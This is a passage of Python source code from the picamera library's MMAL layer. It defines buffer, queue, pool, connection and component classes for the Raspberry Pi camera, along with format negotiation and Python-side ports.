to :meth:`release` must be made before the buffer will actually be
released.
"""
mmal.mmal_buffer_header_acquire(self._buf)
def release(self):
"""
Release a reference to the buffer. This is the opposing call to
:meth:`acquire`. Once all references have been released, the buffer
will be recycled.
"""
mmal.mmal_buffer_header_release(self._buf)
def reset(self):
"""
Resets all buffer header fields to default values.
"""
mmal.mmal_buffer_header_reset(self._buf)
def __enter__(self):
mmal_check(
mmal.mmal_buffer_header_mem_lock(self._buf),
prefix='unable to lock buffer header memory')
return ct.cast(
self._buf[0].data,
ct.POINTER(ct.c_uint8 * self._buf[0].alloc_size)).contents
def __exit__(self, *exc):
mmal.mmal_buffer_header_mem_unlock(self._buf)
return False
def __repr__(self):
if self._buf is not None:
return '<MMALBuffer object: flags=%s command=%s length=%d>' % (
''.join((
'S' if self.flags & mmal.MMAL_BUFFER_HEADER_FLAG_FRAME_START else '_',
'E' if self.flags & mmal.MMAL_BUFFER_HEADER_FLAG_FRAME_END else '_',
'K' if self.flags & mmal.MMAL_BUFFER_HEADER_FLAG_KEYFRAME else '_',
'C' if self.flags & mmal.MMAL_BUFFER_HEADER_FLAG_CONFIG else '_',
'M' if self.flags & mmal.MMAL_BUFFER_HEADER_FLAG_CODECSIDEINFO else '_',
'X' if self.flags & mmal.MMAL_BUFFER_HEADER_FLAG_EOS else '_',
)), {
0: 'none',
mmal.MMAL_EVENT_ERROR: 'error',
mmal.MMAL_EVENT_FORMAT_CHANGED: 'format-change',
mmal.MMAL_EVENT_PARAMETER_CHANGED: 'param-change',
mmal.MMAL_EVENT_EOS: 'end-of-stream',
}[self.command], self.length)
else:
return '<MMALBuffer object: ???>'
class MMALQueue(object):
"""
Represents an MMAL buffer queue. Buffers can be added to the queue with the
:meth:`put` method, and retrieved from the queue (with optional wait
timeout) with the :meth:`get` method.
"""
__slots__ = ('_queue', '_created')
def __init__(self, queue):
self._created = False
self._queue = queue
@classmethod
def create(cls):
self = cls(mmal.mmal_queue_create())
self._created = True
return self
def close(self):
if self._created:
mmal_queue_destroy(self._queue)
self._queue = None
def __len__(self):
return mmal.mmal_queue_length(self._queue)
def get(self, block=True, timeout=None):
"""
Get the next buffer from the queue. If *block* is ``True`` (the default)
and *timeout* is ``None`` (the default) then the method will block
until a buffer is available. Otherwise *timeout* is the maximum time to
wait (in seconds) for a buffer to become available. If a buffer is not
available before the timeout expires, the method returns ``None``.
Likewise, if *block* is ``False`` and no buffer is immediately
available then ``None`` is returned.
"""
if block and timeout is None:
buf = mmal.mmal_queue_wait(self._queue)
elif block and timeout is not None:
buf = mmal.mmal_queue_timedwait(self._queue, int(timeout * 1000))
else:
buf = mmal.mmal_queue_get(self._queue)
if buf:
return MMALBuffer(buf)
def put(self, buf):
"""
Place :class:`MMALBuffer` *buf* at the back of the queue.
"""
mmal.mmal_queue_put(self._queue, buf._buf)
def put_back(self, buf):
"""
Place :class:`MMALBuffer` *buf* at the front of the queue. This is
used when a buffer was removed from the queue but needs to be put
back at the front where it was originally taken from.
"""
mmal.mmal_queue_put_back(self._queue, buf._buf)
class MMALPool(object):
"""
Represents an MMAL pool containing :class:`MMALBuffer` objects. All active
ports are associated with a pool of buffers, and a queue. Instances can be
treated as a sequence of :class:`MMALBuffer` objects but this is only
recommended for debugging purposes; otherwise, use the :meth:`get_buffer`,
:meth:`send_buffer`, and :meth:`send_all_buffers` methods which work with
the encapsulated :class:`MMALQueue`.
"""
__slots__ = ('_pool', '_queue')
def __init__(self, pool):
self._pool = pool
super(MMALPool, self).__init__()
self._queue = MMALQueue(pool[0].queue)
def __len__(self):
return self._pool[0].headers_num
def __getitem__(self, index):
return MMALBuffer(self._pool[0].header[index])
@property
def queue(self):
"""
The :class:`MMALQueue` associated with the pool.
"""
return self._queue
def close(self):
if self._pool is not None:
mmal.mmal_pool_destroy(self._pool)
self._pool = None
def resize(self, new_count, new_size):
"""
Resizes the pool to contain *new_count* buffers with *new_size* bytes
allocated to each buffer.
*new_count* must be 1 or more (you cannot resize a pool to contain
no headers). However, *new_size* can be 0 which causes all payload
buffers to be released.
.. warning::
If the pool is associated with a port, the port must be disabled
when resizing the pool.
"""
mmal_check(
mmal.mmal_pool_resize(self._pool, new_count, new_size),
prefix='unable to resize pool')
def get_buffer(self, block=True, timeout=None):
"""
Get the next buffer from the pool's queue. See :meth:`MMALQueue.get`
for the meaning of the parameters.
"""
return self._queue.get(block, timeout)
def send_buffer(self, port, block=True, timeout=None):
"""
Get a buffer from the pool's queue and send it to *port*. *block* and
*timeout* act as they do in :meth:`get_buffer`. If no buffer is
available (for the values of *block* and *timeout*,
:exc:`~picamera.PiCameraMMALError` is raised).
"""
buf = self.get_buffer(block, timeout)
if buf is None:
raise PiCameraMMALError(mmal.MMAL_EAGAIN, 'no buffers available')
port.send_buffer(buf)
def send_all_buffers(self, port, block=True, timeout=None):
"""
Send all buffers from the queue to *port*. *block* and *timeout* act as
they do in :meth:`get_buffer`. If no buffer is available (for the
values of *block* and *timeout*, :exc:`~picamera.PiCameraMMALError` is
raised).
"""
for i in range(len(self._queue)):
self.send_buffer(port, block, timeout)
class MMALPortPool(MMALPool):
"""
Construct an MMAL pool for the number and size of buffers required by
the :class:`MMALPort` *port*.
"""
__slots__ = ('_port',)
def __init__(self, port):
pool = mmal.mmal_port_pool_create(
port._port, port._port[0].buffer_num, port._port[0].buffer_size)
if not pool:
raise PiCameraMMALError(
mmal.MMAL_ENOSPC,
'failed to create buffer header pool for port %s' % port.name)
super(MMALPortPool, self).__init__(pool)
self._port = port
def close(self):
if self._pool is not None:
mmal.mmal_port_pool_destroy(self._port._port, self._pool)
self._port = None
self._pool = None
super(MMALPortPool, self).close()
@property
def port(self):
return self._port
def send_buffer(self, port=None, block=True, timeout=None):
"""
Get a buffer from the pool and send it to *port* (or the port the pool
is associated with by default). *block* and *timeout* act as they do in
:meth:`MMALPool.get_buffer`.
"""
if port is None:
port = self._port
super(MMALPortPool, self).send_buffer(port, block, timeout)
def send_all_buffers(self, port=None, block=True, timeout=None):
"""
Send all buffers from the pool to *port* (or the port the pool is
associated with by default). *block* and *timeout* act as they do in
:meth:`MMALPool.get_buffer`.
"""
if port is None:
port = self._port
super(MMALPortPool, self).send_all_buffers(port, block, timeout)
class MMALBaseConnection(MMALObject):
"""
Abstract base class for :class:`MMALConnection` and
:class:`MMALPythonConnection`. Handles weakrefs to the source and
target ports, and format negotiation. All other connection details are
handled by the descendent classes.
"""
__slots__ = ('_source', '_target')
default_formats = ()
compatible_opaque_formats = {
('OPQV-single', 'OPQV-single'),
('OPQV-dual', 'OPQV-dual'),
('OPQV-strips', 'OPQV-strips'),
('OPQV-dual', 'OPQV-single'),
('OPQV-single', 'OPQV-dual'), # recent firmwares permit this
}
def __init__(
self, source, target, formats=default_formats):
super(MMALBaseConnection, self).__init__()
if not isinstance(source, (MMALPort, MMALPythonPort)):
raise PiCameraValueError('source is not a port')
if not isinstance(target, (MMALPort, MMALPythonPort)):
raise PiCameraValueError('target is not a port')
if source.type != mmal.MMAL_PORT_TYPE_OUTPUT:
raise PiCameraValueError('source is not an output port')
if target.type != mmal.MMAL_PORT_TYPE_INPUT:
raise PiCameraValueError('target is not an input port')
if source.connection is not None:
raise PiCameraValueError('source port is already connected')
if target.connection is not None:
raise PiCameraValueError('target port is already connected')
if formats is None:
formats = ()
self._source = source
self._target = target
try:
iter(formats)
except TypeError:
formats = (formats,)
self._negotiate_format(formats)
source._connection = self
target._connection = self
# Descendents continue with connection implementation...
def close(self):
if self._source is not None:
self._source._connection = None
self._source = None
if self._target is not None:
self._target._connection = None
self._target = None
def _negotiate_format(self, formats):
def copy_format():
self._source.commit()
self._target.copy_from(self._source)
self._target.commit()
def max_buffers():
self._source.buffer_count = self._target.buffer_count = max(
self._source.buffer_count, self._target.buffer_count)
self._source.buffer_size = self._target.buffer_size = max(
self._source.buffer_size, self._target.buffer_size)
# Filter out formats that aren't supported on both source and target
# ports. This is a little tricky as ports that support OPAQUE never
# claim they do (so we have to assume it's mutually supported)
mutually_supported = (
set(self._source.supported_formats) &
set(self._target.supported_formats)
) | {mmal.MMAL_ENCODING_OPAQUE}
formats = [f for f in formats if f in mutually_supported]
if formats:
# If there are any formats left to try, perform the negotiation
# with the filtered list. Again, there's some special casing to
# deal with the incompatible OPAQUE sub-formats
for f in formats:
if f == mmal.MMAL_ENCODING_OPAQUE:
if (self._source.opaque_subformat,
self._target.opaque_subformat) in self.compatible_opaque_formats:
self._source.format = mmal.MMAL_ENCODING_OPAQUE
else:
continue
else:
self._source.format = f
try:
copy_format()
except PiCameraMMALError as e:
if e.status != mmal.MMAL_EINVAL:
raise
continue
else:
max_buffers()
return
raise PiCameraMMALError(
mmal.MMAL_EINVAL, 'failed to negotiate port format')
else:
# If no formats are available to try (either from filtering or
# because none were given), assume the source port is set up
# properly. Just copy the format to the target and hope the caller
# knows what they're doing
try:
copy_format()
except PiCameraMMALError as e:
if e.status != mmal.MMAL_EINVAL:
raise
raise PiCameraMMALError(
mmal.MMAL_EINVAL, 'failed to copy source format to target port')
else:
max_buffers()
def __enter__(self):
return self
def __exit__(self, exc_type, exc_value, exc_tb):
self.close()
@property
def source(self):
"""
The source :class:`MMALPort` or :class:`MMALPythonPort` of the
connection.
"""
return self._source
@property
def target(self):
"""
The target :class:`MMALPort` or :class:`MMALPythonPort` of the
connection.
"""
return self._target
class MMALConnection(MMALBaseConnection):
"""
Represents an MMAL internal connection between two components. The
constructor accepts arguments providing the *source* :class:`MMALPort` and
*target* :class:`MMALPort`.
The *formats* parameter specifies an iterable of formats (in preference
order) that the connection may attempt when negotiating formats between
the two ports. If this is ``None``, or an empty iterable, no negotiation
will take place and the source port's format will simply be copied to the
target port. Otherwise, the iterable will be worked through in order until
a format acceptable to both ports is discovered.
.. note::
The default *formats* list starts with OPAQUE; the class understands
the different OPAQUE sub-formats (see :ref:`mmal` for more information)
and will only select OPAQUE if compatible sub-formats can be used on
both ports.
The *callback* parameter can optionally specify a callable which will be
executed for each buffer that traverses the connection (providing an
opportunity to manipulate or drop that buffer). If specified, it must be a
callable which accepts two parameters: the :class:`MMALConnection` object
sending the data, and the :class:`MMALBuffer` object containing data. The
callable may optionally manipulate the :class:`MMALBuffer` and return it
to permit it to continue traversing the connection, or return ``None``
in which case the buffer will be released.
.. note::
There is a significant performance penalty for specifying a
callback between MMAL components as it requires buffers to be
copied from the GPU's memory to the CPU's memory and back again.
.. data:: default_formats
:annotation: = (MMAL_ENCODING_OPAQUE, MMAL_ENCODING_I420, MMAL_ENCODING_RGB24, MMAL_ENCODING_BGR24, MMAL_ENCODING_RGBA, MMAL_ENCODING_BGRA)
Class attribute defining the default formats used to negotiate
connections between MMAL components.
"""
__slots__ = ('_connection', '_callback', '_wrapper')
default_formats = (
mmal.MMAL_ENCODING_OPAQUE,
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
)
def __init__(
self, source, target, formats=default_formats, callback=None):
if not isinstance(source, MMALPort):
raise PiCameraValueError('source is not an MMAL port')
if not isinstance(target, MMALPort):
raise PiCameraValueError('target is not an MMAL port')
super(MMALConnection, self).__init__(source, target, formats)
self._connection = ct.POINTER(mmal.MMAL_CONNECTION_T)()
self._callback = callback
flags = mmal.MMAL_CONNECTION_FLAG_ALLOCATION_ON_INPUT
if callback is None:
flags |= mmal.MMAL_CONNECTION_FLAG_TUNNELLING
try:
mmal_check(
mmal.mmal_connection_create(
self._connection, source._port, target._port, flags),
prefix="Failed to create connection")
except:
self._connection = None
raise
def close(self):
if self._connection is not None:
mmal.mmal_connection_destroy(self._connection)
self._connection = None
self._wrapper = None
super(MMALConnection, self).close()
@property
def enabled(self):
"""
Returns ``True`` if the connection is enabled. Use :meth:`enable`
and :meth:`disable` to control the state of the connection.
"""
return bool(self._connection[0].is_enabled)
def enable(self):
"""
Enable the connection. When a connection is enabled, data is
continually transferred from the output port of the source to the input
port of the target component.
"""
def wrapper(connection):
buf = mmal.mmal_queue_get(connection[0].queue)
if buf:
buf = MMALBuffer(buf)
try:
modified_buf = self._callback(self, buf)
except:
buf.release()
raise
else:
if modified_buf is not None:
try:
self._target.send_buffer(modified_buf)
except PiCameraPortDisabled:
# Target port disabled; ignore the error
pass
else:
buf.release()
return
buf = mmal.mmal_queue_get(connection[0].pool[0].queue)
if buf:
buf = MMALBuffer(buf)
try:
self._source.send_buffer(buf)
except PiCameraPortDisabled:
# Source port has been disabled; ignore the error
pass
if self._callback is not None:
self._wrapper = mmal.MMAL_CONNECTION_CALLBACK_T(wrapper)
self._connection[0].callback = self._wrapper
self._source.params[mmal.MMAL_PARAMETER_ZERO_COPY] = True
self._target.params[mmal.MMAL_PARAMETER_ZERO_COPY] = True
mmal_check(
mmal.mmal_connection_enable(self._connection),
prefix="Failed to enable connection")
if self._callback is not None:
MMALPool(self._connection[0].pool).send_all_buffers(self._source)
def disable(self):
"""
Disables the connection.
"""
mmal_check(
mmal.mmal_connection_disable(self._connection),
prefix="Failed to disable connection")
self._wrapper = None
@property
def name(self):
return self._connection[0].name.decode('ascii')
def __repr__(self):
if self._connection is not None:
return '<MMALConnection "%s">' % self.name
else:
return '<MMALConnection closed>'
class MMALRawCamera(MMALBaseComponent):
"""
The MMAL "raw camera" component.
Don't use this! If you insist on using this anyway, read the forum post
about `raw sensor access`_ first.
.. raw sensor access: https://www.raspberrypi.org/forums/viewtopic.php?f=43&t=109137
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_RAW_CAMERA
opaque_input_subformats = ()
opaque_output_subformats = ('OPQV-single',)
class MMALCamera(MMALBaseComponent):
"""
Represents the MMAL camera component. This component has 0 input ports and
3 output ports. The intended use of the output ports (which in turn
determines the behaviour of those ports) is as follows:
* Port 0 is intended for preview renderers
* Port 1 is intended for video recording
* Port 2 is intended for still image capture
Use the ``MMAL_PARAMETER_CAMERA_CONFIG`` parameter on the control port to
obtain and manipulate the camera's configuration.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_CAMERA
opaque_output_subformats = ('OPQV-single', 'OPQV-dual', 'OPQV-strips')
annotate_structs = (
mmal.MMAL_PARAMETER_CAMERA_ANNOTATE_T,
mmal.MMAL_PARAMETER_CAMERA_ANNOTATE_V2_T,
mmal.MMAL_PARAMETER_CAMERA_ANNOTATE_V3_T,
)
def __init__(self):
global FIX_RGB_BGR_ORDER
super(MMALCamera, self).__init__()
if PARAM_TYPES[mmal.MMAL_PARAMETER_ANNOTATE] is None:
found = False
# try largest struct to smallest as later firmwares still happily
# accept earlier revision structures
# XXX do old firmwares reject too-large structs?
for struct in reversed(MMALCamera.annotate_structs):
try:
PARAM_TYPES[mmal.MMAL_PARAMETER_ANNOTATE] = struct
self.control.params[mmal.MMAL_PARAMETER_ANNOTATE]
except PiCameraMMALError:
pass
else:
found = True
break
if not found:
PARAM_TYPES[mmal.MMAL_PARAMETER_ANNOTATE] = None
raise PiCameraMMALError(
mmal.MMAL_EINVAL, "unknown camera annotation structure revision")
if FIX_RGB_BGR_ORDER is None:
# old firmware lists BGR24 before RGB24 in supported_formats
for f in self.outputs[1].supported_formats:
if f == mmal.MMAL_ENCODING_BGR24:
FIX_RGB_BGR_ORDER = True
break
elif f == mmal.MMAL_ENCODING_RGB24:
FIX_RGB_BGR_ORDER = False
break
def _get_annotate_rev(self):
try:
return MMALCamera.annotate_structs.index(PARAM_TYPES[mmal.MMAL_PARAMETER_ANNOTATE]) + 1
except IndexError:
raise PiCameraMMALError(
mmal.MMAL_EINVAL, "unknown camera annotation structure revision")
def _set_annotate_rev(self, value):
try:
PARAM_TYPES[mmal.MMAL_PARAMETER_ANNOTATE] = MMALCamera.annotate_structs[value - 1]
except IndexError:
raise PiCameraMMALError(
mmal.MMAL_EINVAL, "invalid camera annotation structure revision")
annotate_rev = property(_get_annotate_rev, _set_annotate_rev, doc="""\
The annotation capabilities of the firmware have evolved over time and
several structures are available for querying and setting video
annotations. By default the :class:`MMALCamera` class will pick the
latest annotation structure supported by the current firmware but you
can select older revisions with :attr:`annotate_rev` for other purposes
(e.g. testing).
""")
class MMALCameraInfo(MMALBaseComponent):
"""
Represents the MMAL camera-info component. Query the
``MMAL_PARAMETER_CAMERA_INFO`` parameter on the control port to obtain
information about the connected camera module.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_CAMERA_INFO
info_structs = (
mmal.MMAL_PARAMETER_CAMERA_INFO_T,
mmal.MMAL_PARAMETER_CAMERA_INFO_V2_T,
)
def __init__(self):
super(MMALCameraInfo, self).__init__()
if PARAM_TYPES[mmal.MMAL_PARAMETER_CAMERA_INFO] is None:
found = False
# try smallest structure to largest as later firmwares reject
# older structures
for struct in MMALCameraInfo.info_structs:
try:
PARAM_TYPES[mmal.MMAL_PARAMETER_CAMERA_INFO] = struct
self.control.params[mmal.MMAL_PARAMETER_CAMERA_INFO]
except PiCameraMMALError:
pass
else:
found = True
break
if not found:
PARAM_TYPES[mmal.MMAL_PARAMETER_CAMERA_INFO] = None
raise PiCameraMMALError(
mmal.MMAL_EINVAL, "unknown camera info structure revision")
def _get_info_rev(self):
try:
return MMALCameraInfo.info_structs.index(PARAM_TYPES[mmal.MMAL_PARAMETER_CAMERA_INFO]) + 1
except IndexError:
raise PiCameraMMALError(
mmal.MMAL_EINVAL, "unknown camera info structure revision")
def _set_info_rev(self, value):
try:
PARAM_TYPES[mmal.MMAL_PARAMETER_CAMERA_INFO] = MMALCameraInfo.info_structs[value - 1]
except IndexError:
raise PiCameraMMALError(
mmal.MMAL_EINVAL, "invalid camera info structure revision")
info_rev = property(_get_info_rev, _set_info_rev, doc="""\
The camera information capabilities of the firmware have evolved over
time and several structures are available for querying camera
information. When initialized, :class:`MMALCameraInfo` will attempt
to discover which structure is in use by the extant firmware. This
property can be used to discover the structure version and to modify
the version in use for other purposes (e.g. testing).
""")
class MMALComponent(MMALBaseComponent):
"""
Represents an MMAL component that acts as a filter of some sort, with a
single input that connects to an upstream source port. This is an asbtract
base class.
"""
__slots__ = ()
def __init__(self):
super(MMALComponent, self).__init__()
assert len(self.opaque_input_subformats) == 1
def close(self):
self.disconnect()
super(MMALComponent, self).close()
def enable(self):
super(MMALComponent, self).enable()
if self.connection is not None:
self.connection.enable()
def disable(self):
if self.connection is not None:
self.connection.disable()
super(MMALComponent, self).disable()
def connect(self, source, **options):
"""
Connects the input port of this component to the specified *source*
:class:`MMALPort` or :class:`MMALPythonPort`. Alternatively, as a
convenience (primarily intended for command line experimentation; don't
use this in scripts), *source* can be another component in which case
the first unconnected output port will be selected as *source*.
Keyword arguments will be passed along to the connection constructor.
See :class:`MMALConnection` and :class:`MMALPythonConnection` for
further information.
"""
if isinstance(source, (MMALPort, MMALPythonPort)):
return self.inputs[0].connect(source)
else:
for port in source.outputs:
if not port.connection:
return self.inputs[0].connect(port, **options)
raise PiCameraMMALError(
mmal.MMAL_EINVAL, 'no free output ports on %r' % source)
def disconnect(self):
"""
Destroy the connection between this component's input port and the
upstream component.
"""
self.inputs[0].disconnect()
@property
def connection(self):
"""
The :class:`MMALConnection` or :class:`MMALPythonConnection` object
linking this component to the upstream component.
"""
return self.inputs[0].connection
class MMALSplitter(MMALComponent):
"""
Represents the MMAL splitter component. This component has 1 input port
and 4 output ports which all generate duplicates of buffers passed to the
input port.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_VIDEO_SPLITTER
opaque_input_subformats = ('OPQV-single',)
opaque_output_subformats = ('OPQV-single',) * 4
class MMALISPResizer(MMALComponent):
"""
Represents the MMAL ISP resizer component. This component has 1 input port
and 1 output port, and supports resizing via the VideoCore ISP, along with
conversion of numerous formats into numerous other formats (e.g. OPAQUE to
RGB, etc). This is more efficient than :class:`MMALResizer` but is only
available on later firmware versions.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_ISP
opaque_input_subformats = ('OPQV-single',)
opaque_output_subformats = (None,)
class MMALResizer(MMALComponent):
"""
Represents the MMAL VPU resizer component. This component has 1 input port
and 1 output port. This supports resizing via the VPU. This is not as
efficient as :class:`MMALISPResizer` but is available on all firmware
verions. The output port can (and usually should) have a different frame
size to the input port.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_RESIZER
opaque_input_subformats = (None,)
opaque_output_subformats = (None,)
class MMALEncoder(MMALComponent):
"""
Represents a generic MMAL encoder. This is an abstract base class.
"""
__slots__ = ()
class MMALVideoEncoder(MMALEncoder):
"""
Represents the MMAL video encoder component. This component has 1 input
port and 1 output port. The output port is usually configured with
``MMAL_ENCODING_H264`` or ``MMAL_ENCODING_MJPEG``.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_VIDEO_ENCODER
opaque_input_subformats = ('OPQV-dual',)
opaque_output_subformats = (None,)
class MMALImageEncoder(MMALEncoder):
"""
Represents the MMAL image encoder component. This component has 1 input
port and 1 output port. The output port is typically configured with
``MMAL_ENCODING_JPEG`` but can also use ``MMAL_ENCODING_PNG``,
``MMAL_ENCODING_GIF``, etc.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_IMAGE_ENCODER
opaque_input_subformats = ('OPQV-strips',)
opaque_output_subformats = (None,)
class MMALDecoder(MMALComponent):
"""
Represents a generic MMAL decoder. This is an abstract base class.
"""
__slots__ = ()
class MMALVideoDecoder(MMALDecoder):
"""
Represents the MMAL video decoder component. This component has 1 input
port and 1 output port. The input port is usually configured with
``MMAL_ENCODING_H264`` or ``MMAL_ENCODING_MJPEG``.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_VIDEO_DECODER
opaque_input_subformats = (None,)
opaque_output_subformats = ('OPQV-single',)
class MMALImageDecoder(MMALDecoder):
"""
Represents the MMAL iamge decoder component. This component has 1 input
port and 1 output port. The input port is usually configured with
``MMAL_ENCODING_JPEG``.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_IMAGE_DECODER
opaque_input_subformats = (None,)
opaque_output_subformats = ('OPQV-single',)
class MMALRenderer(MMALComponent):
"""
Represents the MMAL renderer component. This component has 1 input port and
0 output ports. It is used to implement the camera preview and overlays.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_VIDEO_RENDERER
opaque_input_subformats = ('OPQV-single',)
class MMALNullSink(MMALComponent):
"""
Represents the MMAL null-sink component. This component has 1 input port
and 0 output ports. It is used to keep the preview port "alive" (and thus
calculating white-balance and exposure) when the camera preview is not
required.
"""
__slots__ = ()
component_type = mmal.MMAL_COMPONENT_DEFAULT_NULL_SINK
opaque_input_subformats = ('OPQV-single',)
class MMALPythonPort(MMALObject):
"""
Implements ports for Python-based MMAL components.
"""
__slots__ = (
'_buffer_count',
'_buffer_size',
'_connection',
'_enabled',
'_owner',
'_pool',
'_type',
'_index',
'_supported_formats',
'_format',
'_callback',
)
_FORMAT_BPP = {
'I420': 1.5,
'RGB3': 3,
'RGBA': 4,
'BGR3': 3,
'BGRA': 4,
}
def __init__(self, owner, port_type, index):
self._buffer_count = 2
self._buffer_size = 0
self._connection = None
self._enabled = False
self._owner = weakref.ref(owner)
self._pool = None
self._callback = None
self._type = port_type
self._index = index
self._supported_formats = {
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
}
self._format = ct.pointer(mmal.MMAL_ES_FORMAT_T(
type=mmal.MMAL_ES_TYPE_VIDEO,
encoding=mmal.MMAL_ENCODING_I420,
es=ct.pointer(mmal.MMAL_ES_SPECIFIC_FORMAT_T())))
def close(self):
self.disconnect()
self.disable()
self._format = None
def __repr__(self):
return '<MMALPythonPort "%s": format=MMAL_FOURCC(%r) buffers=%dx%d frames=%s@%sfps>' % (
self.name, mmal.FOURCC_str(self.format), self.buffer_count,
self.buffer_size, self.framesize, self.framerate)
def _get_bitrate(self):
return self._format[0].bitrate
def _set_bitrate(self, value):
self._format[0].bitrate = value
bitrate = property(_get_bitrate, _set_bitrate, doc="""\
Retrieves or sets the bitrate limit for the port's format.
""")
def _get_supported_formats(self):
return self._supported_formats
def _set_supported_formats(self, value):
try:
value = {f for f in value}
except TypeError:
value = {value}
if not value:
raise PiCameraMMALError(
mmal.MMAL_EINVAL, "port must have at least one valid format")
self._supported_formats = value
supported_formats = property(_get_supported_formats, _set_supported_formats, doc="""\
Retrieves or sets the set of valid formats for this port. The set must
always contain at least one valid format. A single format can be
specified; it will be converted implicitly to a singleton set.
If the current port :attr:`format` is not a member of the new set, no
error is raised. An error will be raised when :meth:`commit` is next
called if :attr:`format` is still not a member of the set.
""")
def _get_format(self):
return self._format[0].encoding
def _set_format(self, value):
self._format[0].encoding = value
format = property(_get_format, _set_format, doc="""\
Retrieves or sets the encoding format of the port. Setting this
attribute implicitly sets the encoding variant to a sensible value
(I420 in the case of OPAQUE).
""")
def _get_framesize(self):
return PiResolution(
self._format[0].es[0].video.crop.width,
self._format[0].es[0].video.crop.height,
)
def _set_framesize(self, value):
value = to_resolution(value)
video = self._format[0].es[0].video
video.width = bcm_host.VCOS_ALIGN_UP(value.width, 32)
video.height = bcm_host.VCOS_ALIGN_UP(value.height, 16)
video.crop.width = value.width
video.crop.height = value.height
framesize = property(_get_framesize, _set_framesize, doc="""\
Retrieves or sets the size of the source's video frames as a (width,
height) tuple. This attribute implicitly handles scaling the given
size up to the block size of the camera (32x16).
""")
def _get_framerate(self):
video = self._format[0].es[0].video
try:
return Fraction(
video.frame_rate.num,
video.frame_rate.den)
except ZeroDivisionError:
return Fraction(0, 1)
def _set_framerate(self, value):
value = to_fraction(value)
video = self._format[0].es[0].video
video.frame_rate.num = value.numerator
video.frame_rate.den = value.denominator
framerate = property(_get_framerate, _set_framerate, doc="""\
Retrieves or sets the framerate of the port's video frames in fps.
""")
@property
def pool(self):
"""
Returns the :class:`MMALPool` associated with the buffer, if any.
"""
return self._pool
@property
def opaque_subformat(self):
return None
def _get_buffer_count(self):
return self._buffer_count
def _set_buffer_count(self, value):
if value < 1:
raise PiCameraMMALError(mmal.MMAL_EINVAL, 'buffer count <1')
self._buffer_count = int(value)
buffer_count = property(_get_buffer_count, _set_buffer_count, doc="""\
The number of buffers allocated (or to be allocated) to the port. The
default is 2 but more may be required in the case of long pipelines
with replicated buffers.
""")
def _get_buffer_size(self):
return self._buffer_size
def _set_buffer_size(self, value):
if value < 0:
raise PiCameraMMALError(mmal.MMAL_EINVAL, 'buffer size <0')
self._buffer_size = value
buffer_size = property(_get_buffer_size, _set_buffer_size, doc="""\
The size of buffers allocated (or to be allocated) to the port. The
size of buffers defaults to a value dictated by the port's format.
""")
def copy_from(self, source):
"""
Copies the port's :attr:`format` from the *source*
:class:`MMALControlPort`.
"""
if isinstance(source, MMALPythonPort):
mmal.mmal_format_copy(self._format, source._format)
else:
mmal.mmal_format_copy(self._format, source._port[0].format)
def commit(self):
"""
Commits the port's configuration and automatically updates the number
and size of associated buffers. This is typically called after
adjusting the port's format and/or associated settings (like width and
height for video ports).
"""
if self.format not in self.supported_formats:
raise PiCameraMMALError(
mmal.MMAL_EINVAL, 'invalid format for port %r' % self)
self._buffer_count = 2
video = self._format[0].es[0].video
try:
self._buffer_size = int(
MMALPythonPort._FORMAT_BPP[str(self.format)]
* video.width
* video.height)
except KeyError:
# If it's an unknown / encoded format just leave the buffer size
# alone and hope the owning component knows what to set
pass
self._owner()._commit_port(self)
@property
def enabled(self):
"""
Returns a :class:`bool` indicating whether the port is currently
enabled. Unlike other classes, this is a read-only property. Use
:meth:`enable` and :meth:`disable` to modify the value.
"""
return self._enabled
def enable(self, callback=None):
"""
Enable the port with the specified callback function (this must be
``None`` for connected ports, and a callable for disconnected ports).
The callback function must accept two parameters which will be this
:class:`MMALControlPort` (or descendent) and an :class:`MMALBuffer`
instance. Any return value will be ignored.
"""
if self._connection is not None:
if callback is not None:
raise PiCameraMMALError(
mmal.MMAL_EINVAL,
'connected ports must be enabled without callback')
else:
if callback is None:
raise PiCameraMMALError(
mmal.MMAL_EINVAL,
'unconnected ports must be enabled with callback')
if self.type == mmal.MMAL_PORT_TYPE_INPUT or self._connection is None:
self._pool = MMALPythonPortPool(self)
self._callback = callback
self._enabled = True
def disable(self):
"""
Disable the port.
"""
self._enabled = False
if self._pool is not None:
# Release any unprocessed buffers from the owner's queue before
# we destroy them all
while True:
buf = self._owner()._queue.get(False)
if buf:
buf.release()
else:
break
self._pool.close()
self._pool = None
self._callback = None
def get_buffer(self, block=True, timeout=None):
"""
Returns a :class:`MMALBuffer` from the associated :attr:`pool`. *block*
and *timeout* act as they do in the corresponding
:meth:`MMALPool.get_buffer`.
"""
if not self._enabled:
raise PiCameraPortDisabled(
'cannot get buffer from disabled port %s' % self.name)
if self._pool is not None:
# Unconnected port or input port case; retrieve buffer from the
# allocated pool
return self._pool.get_buffer(block, timeout)
else:
# Connected output port case; get a buffer from the target input
# port (in this case the port is just a thin proxy for the
# corresponding input port)
assert self.type == mmal.MMAL_PORT_TYPE_OUTPUT
return self._connection.target.get_buffer(block, timeout)
def send_buffer(self, buf):
"""
Send :class:`MMALBuffer` *buf* to the port.
"""
# NOTE: The MMALPythonConnection callback must occur *before* the test
# for the port being enabled; it's meant to be the connection making
# the callback prior to the buffer getting to the port after all
if (
self.type == mmal.MMAL_PORT_TYPE_INPUT and
self._connection._callback is not None):
try:
modified_buf = self._connection._callback(self._connection, buf)
except:
buf.release()
raise
else:
if modified_buf is None:
buf.release()
else:
buf = modified_buf
if not self._enabled:
raise PiCameraPortDisabled(
